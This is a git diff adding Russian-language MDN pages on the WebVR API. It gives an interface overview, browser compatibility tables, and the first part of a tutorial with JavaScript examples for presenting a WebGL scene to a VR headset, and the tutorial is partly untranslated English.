+<p class="summary">WebVR обеспечивает поддержку для использования устройств виртуальной реальности — например, шлемы виртуальной реальности, таких как Oculus Rift или HTC Vive — для веб-приложений, позволяя разработчикам передавать  информацию о местоположении и движения с дисплея в движение вокруг 3D-сцены. Это имеет множество интересных приложений, от виртуальных туров продукта и интерактивных обучающих приложений до захватывающих игр от первого лица.</p>
+
+<h2 id="Концепция_и_использование">Концепция и использование</h2>
+
+<p>Любые VR-устройства, подключенные к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено  {{domxref("VRDisplay")}} объектом.</p>
+
+<p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p>
+
+<p>{{domxref("VRDisplay")}} является центральным интерфейсом в API WebVR - с помощью его свойств и методов вы получить доступ к функциям:</p>
+
+<ul>
+ <li>Получить полезную информацию, чтобы мы могли идентифицировать дисплей, какие возможности он имеет, контроллеры, связанные с ним и многое другое.</li>
+ <li>Получить {{domxref("VRFrameData", "frame data")}} для каждого кадра контента, который вы хотите представить на дисплее, и отправьте эти кадры для отображения с постоянной скоростью.</li>
+ <li>Начать и прекратить подачу на дисплей.</li>
+</ul>
+
+<p>Типичное (простое) WebVR приложение будет работать так:</p>
+
+<ol>
+ <li>{{domxref("Navigator.getVRDisplays()")}} используется для получения ссылки на ваш VR-дисплей.</li>
+ <li>{{domxref("VRDisplay.requestPresent()")}} используется для начала представления на дисплей VR.</li>
+ <li>Выделенный {{domxref("VRDisplay.requestAnimationFrame()")}}  WebVR's используется для запуска цикла рендеринга приложения с правильной частотой обновления для отображения.</li>
+ <li>Внутри цикла рендеринга берутся данные, необходимые для отоброжения текущего кадра  ({{domxref("VRDisplay.getFrameData()")}}), дважды нарисуйте отображаемую сцену - один раз для просмотра в каждом глазу, затем отправьте отображаемый вид на дисплей, чтобы показать пользовотелю ({{domxref("VRDisplay.submitFrame()")}}).</li>
+</ol>
+
+<p>Кроме того, WebVR 1.1 добавляет ряд событий {{domxref("Window")}} объекту, чтобы JavaScript мог реагировать на изменения состояния дисплея.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найте намого больше о том, как работает API в <a href="/en-US/docs/Web/API/WebVR_API/Using_the_WebVR_API">Using the WebVR API</a> и <a href="/en-US/docs/Web/API/WebVR_API/Concepts">WebVR Concepts</a> статьях.</p>
+</div>
+
+<h3 id="Использование_контроллеров_Объединение_WebVR_с_API-интерфейсом_геймпада">Использование контроллеров: Объединение WebVR с API-интерфейсом геймпада</h3>
+
+<p>Многие аппаратные настройки WebVR оснащены контроллерами, которые сочетаются с гарнитурой. Они могут быть использованы в WebVR приложениях через <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a>, и, в частности, <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Gamepad расширения API</a>, которые добавляют API функции для доступа к <a href="/en-US/docs/Web/API/GamepadPose">позе контроллера</a>, <a href="/en-US/docs/Web/API/GamepadHapticActuator">haptic actuators</a>, и многоe другое.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Наша <a href="/en-US/docs/Web/API/WebVR_API/Using_VR_controllers_with_WebVR">Using VR controllers with WebVR</a> статья объясняет основы использования VR-контроллеров в приложениях WebVR.</p>
+</div>
+
+<h2 id="WebVR_Интерфейс">WebVR Интерфейс</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay")}}</dt>
+ <dd>Представляет любое устройство VR, поддерживаемое этим API. VRDisplay включает в себя общую информацию, такую как идентификаторые устройств и  описания, а также методы для начала представления сцены VR, получения параметров глаз и возможностей отображения и других важных функций.</dd>
+ <dt>{{domxref("VRDisplayCapabilities")}}</dt>
+ <dd>описывает возможности {{domxref("VRDisplay")}} — его функции могут использоваться для тестирования возможностей устройства VR, например, может ли он возвращать информацию о местоположении.</dd>
+ <dt>{{domxref("VRDisplayEvent")}}</dt>
+ <dd>Возвращает объект события (event) связанного с WebVR-событием (см. {{anch("Window", "window object extensions")}} , перечисленны ниже).</dd>
+ <dt>{{domxref("VRFrameData")}}</dt>
+ <dd>Представляет всю информацию, необходимую для создания одного кадра сцены VR; созданный от  {{domxref("VRDisplay.getFrameData()")}}.</dd>
+ <dt>{{domxref("VRPose")}}</dt>
+ <dd>Предстовляет состояние позиции на заданной временой отметке (которая включает в себя ориентацию, положение, скорость и ускорение).</dd>
+ <dt>{{domxref("VREyeParameters")}}</dt>
+ <dd>Предоставляет доступ ко все информации, необзходимой для корректного отображения сцены для каждого задного глаза, включая информацию о поле зрения.</dd>
+ <dt>{{domxref("VRFieldOfView")}}</dt>
+ <dd>Представляет поле зрения, определенное четырьмя различными значениями степени, описывающими представление из центральной точки.</dd>
+ <dt>{{domxref("VRLayerInit")}}</dt>
+ <dd>Представляет слой, который должен быть представлен в {{domxref("VRDisplay")}}.</dd>
+ <dt>{{domxref("VRStageParameters")}}</dt>
+ <dd>Представляет значения, описывающие область сцены для устройств, поддерживающих опыт в помещении.</dd>
+</dl>
+
+<h3 id="Расширения_для_других_интерфейсов">Расширения для других интерфейсов</h3>
+
+<p>WebVR API асширяет следующие API, добавляя перечисленные функции.</p>
+
+<h4 id="Геймпад">Геймпад</h4>
+
+<dl>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd><dfn>Возвращает {{domxref("VRDisplay.displayId")}} связанного с  {{domxref("VRDisplay")}} — <code>VRDisplay</code> , которым гейпад управляет отображаемой сценой.</dfn></dd>
+</dl>
+
+<h4 id="Навигатор">Навигатор</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt>
+ <dd>Возвращает массив, содержащий каждый {{domxref("VRDisplay")}} объект, который в настоящее время отображается ({{domxref("VRDisplay.ispresenting")}} является <code>true</code>).</dd>
+ <dt>{{domxref("Navigator.getVRDisplays()")}}</dt>
+ <dd>Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов,  представляющих любые доступные VR-дисплеи, подключенные к компьютеру.</dd>
+</dl>
+
+<h4 id="Window_события">Window события</h4>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, при изменении состояния отображения VR-дисплея — т.е. идёт от отображения до неотображения, или наоброт (когда {{event("vrdisplaypresentchange")}} событие срабатывает).</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Представляет обработчик событий, который будет запускаться, когда к компьютеру подключен совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Представляет обработчик событий, который будет зпускаться, когда совместимый VR-дисплей был отключён от компьютера (когда {{event("vrdisplaydisconnect")}} событие срабатывает).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, когда дисплей может быть представлен (когда {{event("vrdisplayactivate")}}событие срабатывает), например, HMD (Head Mounted Display) был перемещён, чтобы вывести его из режима ожидания, или проснулся, будучи перемещенным.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Представляет обработчик событий, который будет запускаться, когда дисплей больше не будет отображаться (когда {{event("vrdisplaydeactivate")}} событие срабатывает), например, HMD (Head Mounted Display) перешёл в режим ожидания или спящий режим из-за периода бездействия.</dd>
+</dl>
+
+<h4 id="Невыполненные_window_события">Невыполненные window события</h4>
+
+<p>Следующие события перечислены в спецификации, but do not currently seem to be implemented anywhere as yet.</p>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, когда презентация на дисплей была преостановлена по какой-то причине в браузере, ОС или оборудованием VR (когда  {{event("vrdisplayblur")}} событие срабатывает) — например, в то время как пользователь взаимодействует с системным меню или браузером, чтобы предотвратить отслеживание или потерю опыта.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, когда презентация на дисплей возобновляется после потери фокуса (когда {{event("vrdisplayfocus")}} событие срабатывает).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Вы можете найти несколько примеров в этих местах:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/webvr-tests">webvr-tests</a> — очень простые примеры для сопровождения MDM WebVR документации.</li>
+ <li><a href="https://github.com/facebook/Carmel-Starter-Kit">Carmel starter kit</a> — простые, хорошо прокомментированные примеры, которые идут вместе с Carmel,браузером WebVR от Facebook's .</li>
+ <li><a href="https://webvr.info/samples/">WebVR.info samples</a> — несколько более подробных примеров плюс исходный код</li>
+ <li><a href="https://webvr.rocks/firefox#demos">WebVR.rocks Firefox demos</a> — демонстрация примеров</li>
+ <li><a href="https://aframe.io/">A-Frame homepage</a> — примеры использования A-Frame</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>
+    <p>Определяет <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Experimental Gamepad extensions</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_брауезерами">Совместимость с брауезерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Samsung Internet for GearVR</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="https://github.com/GoogleChrome/OriginTrials/blob/gh-pages/explainer.md">Origin trials only</a>.</p>
+
+<p>[2] В настоящее время только в Windows и Mac OSX поддержка включена по умолчанию.</p>
+
+<p>[3] Включено в Firefox Nightly и Beta, версии 55 и выше. Включено / отключено с помощью  <code>dom.gamepad-extensions.enabled</code> pref.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://vr.mozilla.org">vr.mozilla.org</a> — Основная посадочная площадка Mozilla для WebVR с демонстрационными материалами, утилитами и другой информацией.</li>
+ <li><a href="https://aframe.io/">A-Frame</a> — Веб-платформа с открытым исходным кодом для создания опыта VR.</li>
+ <li><a href="https://webvr.info">webvr.info</a> — Актуальная информация о WebVR, настройке браузера и сообществе.</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — Демонстрации, загрузки и другие ресурсы от команды Mozilla VR.</li>
+ <li><a href="https://github.com/MozVR/vr-web-examples/tree/master/threejs-vr-boilerplate">threejs-vr-boilerplate</a> — Полезный стартовый шаблон для написания приложений WebVR.</li>
+ <li><a href="https://github.com/googlevr/webvr-polyfill/">Web VR polyfill</a> — JavaScript-реализация WebVR.</li>
+</ul>
diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
new file mode 100644
index 0000000000..78aed3b7b7
--- /dev/null
+++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
@@ -0,0 +1,440 @@
+---
+title: Использование WebVR API
+slug: Web/API/WebVR_API/Using_the_WebVR_API
+translation_of: Web/API/WebVR_API/Using_the_WebVR_API
+---
+<div>{{APIRef("WebVR API")}}</div>
+
+<p class="summary">WebVR API - фантастическое дополнение к набору инструментов веб-разработчика, позволяющее отображать WebGL сцены на устройствах виртуальной реальности, таких как Oculus Rift и HTC Vive. Но как же начать разработку VR для Веба? Эта статья познакомит Вас с основами.</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Наиболее стабильная версия WebVR API — 1.1 — была недавно реализована в Firefox 55 (для Windows в релизной версии, для Mac OS X только в Nightly версии). Так же она доступна в Chrome при использовании Google Daydream. Существует спецификация для следующей версии — 2.0 — но процесс разработки всё ещё находится на ранней стадии. Последнюю информацию можно найти на <a href="https://w3c.github.io/webvr/">WebVR Spec Version List</a>.</p>
+</div>
+
+<h2 id="С_чего_начать">С чего начать</h2>
+
+<p>Для начала Вам понадобится:</p>
+
+<ul>
+ <li>Устройство с поддержкой VR.
+  <ul>
+   <li>Самым дешевым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.</li>
+   <li>Специализированное устройство может быть дорогим, но зато ощущения будут лучше. Наиболее WebVR-совместимые устройства на данный момент: HTC VIVE, The Oculus Rift. Дополнительную информацию о доступных устройствах и их поддержке браузерами можно найти на <a href="https://webvr.info/">webvr.info</a>.</li>
+  </ul>
+ </li>
+ <li>Компьютер с мощностью, достаточной для соответствующего рендеринга/отображения VR сцен, если вы всё-таки решите воспользоваться специализированным устройством. Чтобы получить некоторое представление о системных требованиях, поищите соответствующие руководства для VR платформы, которую Вы думаете использовать. В качестве примера: <a href="https://www.vive.com/us/ready/">VIVE READY Computers</a>.</li>
+ <li>Подходящий браузер. Последние версии <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/">Firefox Nightly</a> и <a href="https://www.google.com/chrome/index.html">Chrome</a> на данные момент являются лучшими вариантами, как для ПК, так и для мобильных устройств.</li>
+</ul>
+
+<p>После того, как Вы всё подготовили, можете проверить всё ли работает как следует. Для этого надо открыть <a href="https://mdn.github.io/webvr-tests/aframe-demo/">простой A-Frame пример</a> и убедиться, что сцена отображается и что можно перейти в VR режим по нажатию на кнопку в правом нижнем углу.</p>
+
+<p>Фреймворк <a href="https://aframe.io/">A-Frame</a> является лучшим вариантом, если Вы хотите быстро создать WebVR-совместимую сцену, не углубляясь в огромное количество JavaScript кода. Однако, пользуясь им, Вы не узнаете о работе с чистым WebVR API, а именно этим мы сейчас и займемся.</p>
+
+<h2 id="Introducing_our_demo">Introducing our demo</h2>
+
+<p>Рассмотрим как работает WebVR API на примере, проекте raw-webgl-example, который выглядит похожим образом:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15121/Capture1.png" style="display: block; height: 761px; margin: 0px auto; width: 1341px;"></p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Вы можете найти <a href="https://github.com/mdn/webvr-tests/tree/master/raw-webgl-example">исходный код примера</a> на GitHub, а так же <a href="https://mdn.github.io/webvr-tests/raw-webgl-example/">посмотреть как он работает прямо в браузере</a>.</p>
+
+<p>Примечание: если Вы решили просто посмотреть на этот пример, не подключая VR устройство и не используя Firefox , то есть вероятность, что он не будет корректно отображаться при том, что <a href="https://mdn.github.io/webvr-tests/aframe-demo/">простой A-Frame пример</a> работает. В таком случае установите одну из последних версий Firefox, и пример должен отобразиться как на рисунке выше, плюс должна присутствовать анимация.</p>
+</div>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Если WebVR не работает в Вашем браузере, то возможно Вам следует убедиться, что работа идёт через видеокарту. Например, для видеокарт фирмы NVIDIA, если у Вас успешно установлена панель управления NVIDIA, по клику правой кнопки на ярлык Firefox появится контекстное меню, в котором можно будет выбрать <em>Run with graphics processor &gt; High-performance NVIDIA processor</em>.</p>
+</div>
+
+<p>Наш пример это своеобразный святой Грааль примеров WebGL  — вращающийся куб в 3D. Реализован этот пример с помощью чистого <a href="/ru/docs/Web/API/WebGL_API">WebGL API</a>. Мы не будем объяснять основы JavaScript или WebGL, а только то, что касается WebVR.</p>
+
+<p>Так же в нашем примере присутствуют:</p>
+
+<ul>
+ <li>Кнопка для начала (и окончания) отображения сцены на VR дисплее.</li>
+ <li>Кнопка, показывающая и скрывающая обновляемые в реальном времени данные о положении и направлении VR устройства.</li>
+</ul>
+
+<p>При просмотре исходного кода <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">основного JavaScript файла нашего примера</a>, Вы легко сможете найти части, относящиеся к WebVR, по предваряющим их комментариям. Просто забейте в строку поиска по документу строчку "WebVR".</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Чтобы узнать больше об основах JavaScript и WebGL, обратитесь к нашим <a href="/ru/docs/Learn/JavaScript">учебным материалам по JavaScript</a> и нашему <a href="/ru/docs/Web/API/WebGL_API/Tutorial">руководству по WebGL</a>.</p>
+</div>
+
+<h2 id="Как_это_работает">Как это работает?</h2>
+
+<p>Пока что, давайте взглянем на части кода, связанные с WebVR.</p>
+
+<p>Типичное (простое) WebVR приложение работает следующим образом:</p>
+
+<ol>
+ <li>{{domxref("Navigator.getVRDisplays()")}} используется для получения ссылки на ваше VR устройство.</li>
+ <li>{{domxref("VRDisplay.requestPresent()")}} используется для начала отображения сцены на VR устройстве.</li>
+ <li>{{domxref("VRDisplay.requestAnimationFrame()")}} используется при создании цикла отображения кадров анимации с правильной для выбранного устройства частотой обновления.</li>
+ <li>Внутри цикла сначала, для получения данных необходимых для отображения кадра, используется ({{domxref("VRDisplay.getFrameData()")}}). Затем сцена отрисовывается дважды (по разу для каждого глаза в соответствующей ему области видимости), а потом отображается с помощью функции ({{domxref("VRDisplay.submitFrame()")}}).</li>
+</ol>
+
+<p>In the below sections we'll look at our raw-webgl-demo in detail, and see where exactly the above features are used.</p>
+
+<h3 id="Starting_with_some_variables">Starting with some variables</h3>
+
+<p>The first WebVR-related code you'll meet is this following block:</p>
+
+<pre class="brush: js">// WebVR variables
+
+var frameData = new VRFrameData();
+var vrDisplay;
+var btn = document.querySelector('.stop-start');
+var normalSceneFrame;
+var vrSceneFrame;
+
+var poseStatsBtn = document.querySelector('.pose-stats');
+var poseStatsSection = document.querySelector('section');
+poseStatsSection.style.visibility = 'hidden'; // hide it initially
+
+var posStats = document.querySelector('.pos');
+var orientStats = document.querySelector('.orient');
+var linVelStats = document.querySelector('.lin-vel');
+var linAccStats = document.querySelector('.lin-acc');
+var angVelStats = document.querySelector('.ang-vel');
+var angAccStats = document.querySelector('.ang-acc');
+var poseStatsDisplayed = false;</pre>
+
+<p>Let's briefly explain these:</p>
+
+<ul>
+ <li><code>frameData</code> contains a {{domxref("VRFrameData")}} object, created using the {{domxref("VRFrameData.VRFrameData", "VRFrameData()")}} constructor. This is initially empty, but will later contain the data required to render each frame to show in the VR display, updated constantly as the rendering loop runs.</li>
+ <li><code>vrDisplay</code> starts uninitialized, but will later on hold a reference to our VR headset ({{domxref("VRDisplay")}} — the central control object of the API).</li>
+ <li><code>btn</code> and <code>poseStatsBtn</code> hold references to the two buttons we are using to control our app.</li>
+ <li><code>normalSceneFrame</code> and <code>vrSceneFrame</code> start uninitialized, but later on will hold references to {{domxref("Window.requestAnimationFrame()")}} and {{domxref("VRDisplay.requestAnimationFrame()")}} calls — these will initiate the running of a normal rendering loop, and a special WebVR rendering loop; we'll explain the difference between these two later on.</li>
+ <li>The other variables store references to different parts of the VR pose data display box, which you can see in the bottom right hand corner of the UI.</li>
+</ul>
+
+<h3 id="Getting_a_reference_to_our_VR_display">Getting a reference to our VR display</h3>
+
+<p>One of the major functions inside our code is <code>start()</code> — we run this function when the body has finished loading:</p>
+
+<pre class="brush: js">// start
+//
+// Called when the body has loaded is created to get the ball rolling.
+
+document.body.onload = start;</pre>
+
+<p>To begin with, <code>start()</code> retrieves a WebGL context to use to render 3D graphics into the {{htmlelement("canvas")}} element in <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/index.html">our HTML</a>. We then check whether the <code>gl</code> context is available — if so, we run a number of functions to set up the scene for display.</p>
+
+<pre class="brush: js">function start() {
+  canvas = document.getElementById("glcanvas");
+
+  initWebGL(canvas);      // Initialize the GL context
+
+  // WebGL setup code here</pre>
+
+<p>Next, we start the process of actually rendering the scene onto the canvas, by setting the canvas to fill the entire browser viewport, and running the rendering loop (<code>drawScene()</code>) for the first time. This is the non-WebVR — normal — rendering loop.</p>
+
+<pre class="brush: js">    // draw the scene normally, without WebVR - for those who don't have it and want to see the scene in their browser
+
+    canvas.width = window.innerWidth;
+    canvas.height = window.innerHeight;
+    drawScene();</pre>
+
+<p>Now onto our first WebVR-specific code. First of all, we check to see if {{domxref("Navigator.getVRDisplays")}} exists — this is the entry point into the API, and therefore good basic feature detection for WebVR. You'll see at the end of the block (inside the <code>else</code> clause) that if this doesn't exist, we log a message to indicate that WebVR 1.1 isn't supported by the browser.</p>
+
+<pre class="brush: js">    // WebVR: Check to see if WebVR is supported
+    if(navigator.getVRDisplays) {
+      console.log('WebVR 1.1 supported');</pre>
+
+<p>Inside our <code>if() { ... }</code> block, we run the {{domxref("Navigator.getVRDisplays()")}} function. This returns a promise, which is fulfilled with an array containing all the VR display devices connected to the computer. If none are connected, the array will be empty.</p>
+
+<pre class="brush: js">      // Then get the displays attached to the computer
+      navigator.getVRDisplays().then(function(displays) {</pre>
+
+<p>Inside the promise <code>then()</code> block, we check whether the array length is more than 0; if so, we set the value of our <code>vrDisplay</code> variable to the 0 index item inside the array. <code>vrDisplay</code> now contains a {{domxref("VRDisplay")}} object representing our connected display!</p>
+
+<pre class="brush: js">        // If a display is available, use it to present the scene
+        if(displays.length &gt; 0) {
+          vrDisplay = displays[0];
+          console.log('Display found');</pre>
+
+<div class="note">
+<p><strong>Note</strong>: It is unlikely that you'll have multiple VR displays connected to your computer, and this is just a simple demo, so this will do for now.</p>
+</div>
+
+<h3 id="Starting_and_stopping_the_VR_presentation">Starting and stopping the VR presentation</h3>
+
+<p>Now we have a {{domxref("VRDisplay")}} object, we can use it do a number of things. The next thing we want to do is wire up functionality to start and stop presentation of the WebGL content to the display.</p>
+
+<p>Continuing on with the previous code block, we now add an event listener to our start/stop button (<code>btn</code>) — when this button is clicked we want to check whether we are presenting to the display already (we do this in a fairly dumb fashion, by checking what the button <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> contains).</p>
+
+<p>If the display is not already presenting, we use the {{domxref("VRDisplay.requestPresent()")}} method to request that the browser start presenting content to the display. This takes as a parameter an array of the {{domxref("VRLayerInit")}} objects representing the layers you want to present in the display.</p>
+
+<p>Since the maximum number of layers you can display is currently 1, and the only required object member is the {{domxref("VRLayerInit.source")}} property (which is a reference to the {{htmlelement("canvas")}} you want to present in that layer; the other parameters are given sensible defaults — see {{domxref("VRLayerInit.leftBounds", "leftBounds")}} and {{domxref("VRLayerInit.rightBounds", "rightBounds")}})), the parameter is simply [{ source: canvas }].</p>
+
+<p><code>requestPresent()</code> returns a promise that is fulfilled when the presentation begins successfully.</p>
+
+<pre class="brush: js">          // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+          btn.addEventListener('click', function() {
+            if(btn.textContent === 'Start VR display') {
+              vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+                console.log('Presenting to WebVR display');</pre>
+
+<p>With our presentation request successful, we now want to start setting up to render content to present to the VRDisplay. First of all we set the canvas to the same size as the VR display area. We do this by getting the {{domxref("VREyeParameters")}} for both eyes using {{domxref("VRDisplay.getEyeParameters()")}}.</p>
+
+<p>We then do some simple math to calculate the total width of the VRDisplay rendering area based on the eye {{domxref("VREyeParameters.renderWidth")}} and {{domxref("VREyeParameters.renderHeight")}}.</p>
+
+<pre class="brush: js">                // Set the canvas size to the size of the vrDisplay viewport
+
+                var leftEye = vrDisplay.getEyeParameters('left');
+                var rightEye = vrDisplay.getEyeParameters('right');
+
+                canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+                canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);</pre>
+
+<p>Next, we {{domxref("Window.cancelAnimationFrame()", "cancel the animation loop")}} previously set in motion by the {{domxref("Window.requestAnimationFrame()")}} call inside the <code>drawScene()</code> function, and instead invoke <code>drawVRScene()</code>. This function renders the same scene as before, but with some special WebVR magic going on. The loop inside here is maintained by WebVR's special {{domxref("VRDisplay.requestAnimationFrame")}} method.</p>
+
+<pre class="brush: js">                // stop the normal presentation, and start the vr presentation
+                window.cancelAnimationFrame(normalSceneFrame);
+                drawVRScene();</pre>
+
+<p>Finally, we update the button text so that the next time it is pressed, it will stop presentation to the VR display.</p>
+
+<pre class="brush: js">                btn.textContent = 'Exit VR display';
+              });</pre>
+
+<p><br>
+ To stop the VR presentation when the button is subsequently pressed, we call {{domxref("VRDisplay.exitPresent()")}}. We also reverse the button's text content, and swap over the <code>requestAnimationFrame</code> calls. You can see here that we are using {{domxref("VRDisplay.cancelAnimationFrame")}} to stop the VR rendering loop, and starting the normal rendering loop off again by calling <code>drawScene()</code>.</p>
+
+<pre class="brush: js">            } else {
+              vrDisplay.exitPresent();
+              console.log('Stopped presenting to WebVR display');
+
+              btn.textContent = 'Start VR display';
+
+              // Stop the VR presentation, and start the normal presentation
+              vrDisplay.cancelAnimationFrame(vrSceneFrame);
+              drawScene();
+            }
+          });
+        }
+      });
+    } else {
+      console.log('WebVR API not supported by this browser.');
+    }
+  }
+}</pre>
+
+<p>Once the presentation starts, you'll be able to see the stereoscopic view displayed in the browser:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15123/Capture2.png" style="display: block; margin: 0 auto;"></p>
+
+<p>You'll learn below how the stereoscopic view is actually produced.</p>
+
+<h3 id="Why_does_WebVR_have_its_own_requestAnimationFrame()">Why does WebVR have its own requestAnimationFrame()?</h3>
+
+<p>This is a good question. The reason is that for smooth rendering inside the VR display, you need to render the content at the display's native refresh rate, not that of the computer. VR display refresh rates are greater than PC refresh rates, typically up to 90fps. The rate will be differ from the computer's core refresh rate.</p>
+
+<p>Note that when the VR display is not presenting, {{domxref("VRDisplay.requestAnimationFrame")}} runs identically to {{domxref("Window.requestAnimationFrame")}}, so if you wanted, you could just use a single rendering loop, rather than the two we are using in our app. We have used two because we wanted to do slightly different things depending on whether the VR display is presenting or not, and keep things separated for ease of comprehension.</p>
+
+<h3 id="Rendering_and_display">Rendering and display</h3>
+
+<p>At this point, we've seen all the code required to access the VR hardware, request that we present our scene to the hardware, and start running the rending loop. Let's now look at the code for the rendering loop, and explain how the WebVR-specific parts of it work.</p>
+
+<p>First of all, we begin the definition of our rendering loop function — <code>drawVRScene()</code>. The first thing we do inside here is make a call to {{domxref("VRDisplay.requestAnimationFrame()")}} to keep the loop running after it has been called once (this occurred earlier on in our code when we started presenting to the VR display). This call is set as the value of the global <code>vrSceneFrame</code> variable, so we can cancel the loop with a call to {{domxref("VRDisplay.cancelAnimationFrame()")}} once we exit VR presenting.</p>
+
+<pre class="brush: js">function drawVRScene() {
+  // WebVR: Request the next frame of the animation
+  vrSceneFrame = vrDisplay.requestAnimationFrame(drawVRScene);</pre>
+
+<p>Next, we call {{domxref("VRDisplay.getFrameData()")}}, passing it the name of the variable that we want to use to contain the frame data. We initialized this earlier on — <code>frameData</code>. After the call completes, this variable will contain the data need to render the next frame to the VR device, packaged up as a {{domxref("VRFrameData")}} object. This contains things like projection and view matrices for rendering the scene correctly for the left and right eye view, and the current {{domxref("VRPose")}} object, which contains data on the VR display such as orientation, position, etc.</p>
+
+<p>This has to be called on every frame so the rendered view is always up-to-date.</p>
+
+<pre class="brush: js">  // Populate frameData with the data of the next frame to display
+  vrDisplay.getFrameData(frameData);</pre>
+
+<p>Now we retrieve the current {{domxref("VRPose")}} from the {{domxref("VRFrameData.pose")}} property, store the position and orientation for use later on, and send the current pose to the pose stats box for display, if the <code>poseStatsDisplayed</code> variable is set to true.</p>
+
